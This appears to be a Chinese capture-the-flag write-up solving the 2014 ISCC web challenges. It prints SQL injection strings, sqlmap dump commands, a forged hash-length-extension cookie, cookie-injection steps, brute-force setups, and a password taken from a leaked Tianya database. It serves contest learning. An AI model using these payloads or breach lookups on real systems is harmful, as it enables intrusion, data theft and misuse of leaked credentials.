2014 iscc web writeup

0×00
iscc的比赛 持续了一个半月 做了一些 就写写writeup 比赛也结束了 有的题目还是很不错的 我还作死的接触了一些逆向 pwn的题目 这个是web部分的writeup http://www.iscc.org.cn

0×01 彩蛋
比赛开始之前在 http://www.iscc.org.cn index.php页面里的注释里 有一枚彩蛋

0110100001110100011101000111000000111010
0010111100101111011101110111011101110111
0010111001101001011100110110001101100011
0010111001101111011100100110011100101110
0110001101101110001011110011010000110110
0011000100110000001101100011001100110010
0110001000110100011000100011000100110010
0011001100111000001110010011001100110011
0110010100111001001110010110001001100110
0011100001100101011000100011000100110111
0011100101100100011001100110001001100001
0010111001101010011100000110011100000000

神器JPK一上 然后就是很简单的解一下 8位一个ascii码

http://www.iscc.org.cn/4610632b4b1238933e99bf8eb179dfba.jpg
就是个彩蛋 练练手

0×02 霸业蓝图exif
web1的是个linux逆向的 我就放到另外的一个逆向的writeup里
http://www.iscc.org.cn/challenges/2014/web/web02/
web02是这样子的

http://www.ty-ing.org/script/2/

随便上传一张图片上去看看

发现了有显示出了exif的信息
然后就去百度看看 会有什么漏洞 然后在wooyun上看到了这个
DiscuzX2个人空间图片EXIF信息XSS
然后就和这个题目的描述一对比 很相似 很可能就是需要我们去做xss 修改exif的信息成xss的payload 可以用一些工具去实现 网上搜搜 一大堆 我用的是powerexif

这里是一个我改好了的jpg图片

然后浏览 submit就可以出key了 就一步 比较简单

19ojep03

0×03 君臣论证sqli
http://www.iscc.org.cn/challenges/2014/web/web03/

http://www.ty-ing.org/script/3/

提交提交试试看

发现是有一个数据库查询的 然后返回信息 判断是有sql注入
然后就是自己慢慢测试 注入点在哪
month 那个是有注入的 可以构造语句 在balance为2的时候才会产生注入

然后就是测测看是什么 php一般是+mysql
发现也确实是 然后后面的就顺理成章的东西咯
order by 发现是4 然后就用union select返回表名啊 列名啊 数据之类的

#查询库名
1 union select group_concat(SCHEMA_NAME),NULL,NULL,NULL from information_schema.SCHEMATA
#查询script的表名
1 union select group_concat(table_name),NULL,NULL,NULL from information_schema.tables where table_schema=0x736372697074
#回显了这三个 people,report,xiaoming
#查询xiaoming的列名
1 union select group_concat(column_name),NULL,NULL,NULL from information_schema.columns where table_schema=0x736372697074
#发现回显了secret
1 union select secret,NULL,NULL,NULL from xiaoming

9xme0siv2

0×04 火眼金睛 社工出奇迹
http://www.iscc.org.cn/challenges/2014/web/web04/

http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/index.html

仔细的看看题目描述 就看到了TianYa 这不是天涯啊 然后就看到给了一个用户名VeryCD永垂不朽 需要我们去找秘密
后来的提示更明显了 说要在站内做题 不要去影响到本人什么的 貌似说是 那个VeryCD找到了iscc说了一下 更加的此地无银三百两
登陆框那里尝试了一下注入 没成功 就去研究题目描述 说到了天涯 很自然会想到天涯以前被拖过库 这会不会是要我们去撞库
这里是个天涯裤子的在线查询
http://www.594sgk.com/

之前还可以查询得到的 貌似被媒体一曝光 这个库也要账号了 简直无情啊

[email protected]
gnikni[512312

http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/login.html登陆上去

能看到一张图片
ab8c3844185c16b72db72baed7750783.jpg

右键记事本 这里有一段php的代码

$auth = false;
if (isset($_COOKIE["auth"])) {
   $auth = unserialize($_COOKIE["auth"]);
   $hsh = $_COOKIE["hsh"];
   if ($hsh !== md5($SECRET . strrev($_COOKIE["auth"]))) {    //$SECRET is a 8-bit salt
     $auth = false;
   }
}
else {
  $auth = false;
  $s = serialize($auth);
  setcookie("auth", $s);
  setcookie("hsh", md5($SECRET . strrev($s)));
}

是这个页面的一部分代码 白盒审计一下
http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/admin.php
后来发现题出重了 和2014 pctf web150的题目的一样的 就去找找前人的writeup
找到了冷夜牛的一篇
http://le4f.net/post/writeup/-ctf-plaidctf-2014-twenty_mtpox_doge_stege-writeup
哈希长度扩展攻击相关资料
http://www.freebuf.com/articles/web/31756.html
https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks
就用这个方法去搞搞这个

访问这个页面 可以得到2个cookie 然后去linux下用hash_extender
一开始我安装失败了 原来是少安装了一个库

sudo apt-get install libssl-dev

访问页面会返回一个cookie 就是要对这个cookie进行扩展

Cookie: auth=b%3A0%3B; hsh=32efdc967fcaebc6853b75cacfb80c5f

生成了一个

%3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%3b1%3ab

然后我们去反序一下

b%3a1%3b%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b

得到了这个 然后带上cookie和hsh
发这个包

GET /web01_853d9ed229ab47b5878c456d2d861dad/admin.php HTTP/1.1
Host: script.iscc.org.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: auth=b%3a1%3b%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b; hsh=c244187d39381794b9064a02d669275a
Connection: keep-alive

回显了这个
POST ME SOME ID!
我们post一个ID=value的格式上去

然后就是尝试去注入了
字段是1 order by 2 报错

判断是mysql的数据库 手工注入一下

#查询数据库版本
id=-1 union select version()
#查询数据库 发现web数据库
id=-1 union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA 
#查询表名 发现有users表
id=-1 union select group_concat(table_name) from information_schema.tables where table_schema=0x776562

然后尝试用sqlmap来拖数据

POST /web01_853d9ed229ab47b5878c456d2d861dad/admin.php HTTP/1.1
Host: script.iscc.org.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: auth=b%3a1%3b%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b; hsh=c244187d39381794b9064a02d669275a
Connection: keep-alive
Content-Length: 4

id=1

保存成appleu0.txt

sqlmap -r 'appleu0.txt' -D web -T users --dump -p id

[email protected]
2461C83C809E8BA6

http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/login.html
再去登陆上去

4297f44b13955235245b2497399d7a93.jpg

记事本打开就能看到flag

f l a g { I _ A M _ A _ V E R Y _ S M A R T _ A D M I N _ L O L } 去掉空格
flag{I_AM_A_VERY_SMART_ADMIN_LOL}

0×05 上古神兽 爆破
http://www.iscc.org.cn/challenges/2014/web/web05/

http://script.iscc.org.cn/web05_519a5a01fb6685c1fd13f1442891d0f8/index.php

这个题目很变态 是去年的 去年一直没人做得出来 一直到今年 到最后面难度降低 还给了很多的提示才有人做出来了 所以最后题目才叫做上古神兽
http://lubao515.info/
还一直去这个大神的博客 找tips
http://lubao515.info/archives/2013/06/138.html
最后是在这里有一个tips
外部赋值的变量会覆盖内部赋值的变量 这个题目是要考察的是变量覆盖的知识
变量覆盖 就是相当于 我们做逆向时的爆破 改变某些关键寄存器啊 跳转啊 来达到自己的目的
在这个题目中的变量覆盖 目的是要我们发送流量给lubao515 可以每次都会提示流量太少了
那么我们变量覆盖的目的 就是要在那个判断我们流量大小 大于10G之后 就会给某个变量赋值为1 但是我们正常的情况下都是0
所以就要给某个黑盒变量去覆盖为1
可以使用burp爆破

POST /web05_519a5a01fb6685c1fd13f1442891d0f8/index.php?action=taketransfer&XXX=1 HTTP/1.1
Host: script.iscc.org.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://script.iscc.org.cn/web05_519a5a01fb6685c1fd13f1442891d0f8/index.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

uploaded=1000&receiver=lubao515&submitbutton=%E6%8F%90+%E4%BA%A4

把XXX替换成自己的字典去爆破 一开始没注意到一个问题的时候 爆破了一下午 什么都没爆破出来
就是uploaded的值要在100到2048之间 才可以 一开始使用uploaded=1去爆破 什么都没有
自己弄个字典 大小写数字还有_之类的 62个就可以了
然后就是burp suite Intruder 这里 设置Cluster bomb 可以爆破多个自己的设置的变量
后来才发现这个坑爹的题目 这个变量居然只有一位 那么burp设置payload type为Brute forcer

爆破就可以了

发现了需要爆破的变量名为G
设置G=1 我们访问一次
感谢你的礼物，我现在已经有999999999MB的流量了！
发现了这个 在repeater里多测试
发现了 receiver=lubao515′ and 1=2# 这里有个注入点
感谢你的礼物，我现在已经有MB的流量了！ 变成了这样子
直接把

POST /web05_519a5a01fb6685c1fd13f1442891d0f8/index.php?action=taketransfer&G=1 HTTP/1.1
Host: script.iscc.org.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://script.iscc.org.cn/web05_519a5a01fb6685c1fd13f1442891d0f8/index.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

uploaded=1000&receiver=lubao515&submitbutton=%E6%8F%90+%E4%BA%A4

保存成appleu0.txt 然后去注入 找到labao515的密码 就是flag

#列数据库 发现了web05
sqlmap -r 'appleu0.txt' --dbs -p receiver
#列web05表名 发现有iscc这个表
sqlmap -r 'appleu0.txt' -D web05 --table -p receiver
#列出iscc的列名 发现有username和password
sqlmap -r 'appleu0.txt' -D web05 -T iscc --columns -p receiver
#拖出数据内容
sqlmap -r 'appleu0.txt' -D web05 -T iscc -C username,password -p receiver

8froerf9pu34rjeslfh

0×06 老马识途 网络编程
http://www.iscc.org.cn/challenges/2014/web/web06/

http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/

密码已经通过某种方式发给你了哦！不过密码的有效期只有3秒，要快哦！
说是密码已经给了我们 那么抓包看看

发现了response包中有那个Password的http头 那么我们需要把他处理一下 然后往
http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/index.asp?action=Check
POST这个内容pwd=md5(Password)&Submit=%E6%8F%90%E4%BA%A4
限定的时间比较短 只有3秒 可以编程的实现 当然了如果你是单身很多很多年的话 可以试试看手动提交试试看 考验手速的时刻到来了
我是用的ruby写了一个 之后去尝试一下python 最近也在学 python写应该可以更快 写的时候 注意还要把cookie带上 会验证cookie和对于的psw password的

#encoding: utf-8
require 'net/http'
require 'digest/md5'

#=begin
#get方式获取password
puts 'get password'

headers = {   ##定义http请求头信息
  'Host' => 'script2.iscc.org.cn', 
  'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
  'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  'Accept-Language' => 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',
  'Accept-Encoding' => 'gzip, deflate',
  'Connection' => 'keep-alive'
}

#要访问的网页host
uri = URI.parse("http://script2.iscc.org.cn")

#创建服务器对象
res = Net::HTTP::start(uri.host){|http|
   http.get(uri.path+'/web07_e3a95260b7271954aa59460c134cde7e/index.asp', headers)
}

#返回响应头信息
res.each{|key, value| puts "#{key} = #{value}"}

res.each{|key, value| 
if key == 'set-cookie' 
  $cookie = value
elsif key == 'password'
  $password = value
end
}

puts $cookie
puts $password

#输出response的内容
#puts res.body

#=end
#处理一下cookie
$cookie = $cookie.split(';')[0]

#把password进行md5
$password = Digest::MD5.hexdigest($password).upcase

puts $cookie
puts $password


#=begin
#post方式提交md5(password)
headers = {   ##定义http请求头信息
  'Host' => 'script2.iscc.org.cn',
  'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
  'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  'Accept-Language' => 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',
  'Accept-Encoding' => 'gzip, deflate',
  'Referer' => 'http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/index.asp',
  'Cookie' => $cookie,
  'Connection' => 'keep-alive',
  'Content-Type' => 'application/x-www-form-urlencoded'
}

#要访问的域名
uri = URI.parse("http://script2.iscc.org.cn")

#创建服务器对象
res = Net::HTTP::start(uri.host){|http|
   http.post(uri.path+'/web07_e3a95260b7271954aa59460c134cde7e/index.asp?action=Check', 
   'pwd='+$password+'&Submit=%E6%8F%90%E4%BA%A4',
   headers)
}

#返回响应头信息
#res.each{|key, value| puts "#{key} = #{value}"}

#输出response的内容
puts res.body

#=end

KEY: W3b_Pr0Gr4m1ng@_@

0×07 首次会盟 udf
http://www.iscc.org.cn/challenges/2014/web/web07/

这个题是个udf的题 还是以前的题 2012年的swpu的 mayafei大哥哥出的 做做看
udf的可以在mysql中有用户自定义的函数 在实战中可以用来提权 udf提权 别的sql数据库也有类似的功能
自己可以本地弄一个mysql
有一个要注意的 MYSQL 5.1以上版本，必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数
放到plugin之后

create function about returns string soname 'udf.dll';

然后就可以使用里面的函数了 提示说有about这个函数
我们尝试一下 select about();

Use getkey function to get the key!
那么我们就 select getkey();

U_Will_Use_Udf_In_Final_Challenge@2012

0×08 霸业初成 cookie注入
http://www.iscc.org.cn/challenges/2014/web/web08/

http://script2.iscc.org.cn/web08_0cfd59e8aef4f69e9301b8dbd2e057b7/show.asp?id=1

是个asp的站 这里的是给了个id=1 我们去注入注入 发现直接去注入被过滤了
asp的站 可能出现的一个漏洞就是cookie注入 asp编程时 使用request(“id”) 没有限定获取参数的方式 是以get post cookie这样子的属性来获取的 因此可以使用cookie进行传参
对于cookie获取的测试没有进行过滤 这个是cookie注入产生的原因
那么有两种方法可以去做这个题 直接使用sqlmap去跑cookie注入
还有一种是使用注入中转工具去中转 然后再去注入

GET /web08_0cfd59e8aef4f69e9301b8dbd2e057b7/show.asp HTTP/1.1
Host: script2.iscc.org.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ASPSESSIONIDAQSSQBTQ=MAJJIJLDHHFCBPHDEOFOGHMD; ASPSESSIONIDASRTQATR=OGKJBBMDFBEKNIDNJAHDKFCC; id=1
Connection: keep-alive

保存成appleu0.txt

sqlmap -r 'appleu0.txt' --dbs --level=2 -p id --technique=B

貌似比较容易跑挂 略蛋疼 可以用 –delay=2这样子来延时 之后好像是在晚上人少的时候跑的 还有通过-p 指定注入的参数 –technique=B 指定为盲注

还有一种方法就是用中转注入

生成一个appleu0.asp 然后放在自己的iis下面跑跑

sqlmap -u "http://127.0.0.1/appleu0.asp?id=1"

发现有了admin表 还有password列
然后就–dump出来
CaiBuDaoDeMiMa
写writeup的时候 又把web08跑挂了 真是尴尬

0×09 后记
比赛时间很长 一个半月 我也做了些逆向啊 溢出之类的 另外写一篇逆向溢出类的吧 web的难度还不算是很大 除了那种需要爆破的上古神兽 其他的技巧性的还可以 并不是特别难 但是需要多方面的能力 包括其他的逆向溢出啊 加油学 iscc re+pwn writeup

FROM :appleu0.sinaapp.com | Author:appleu0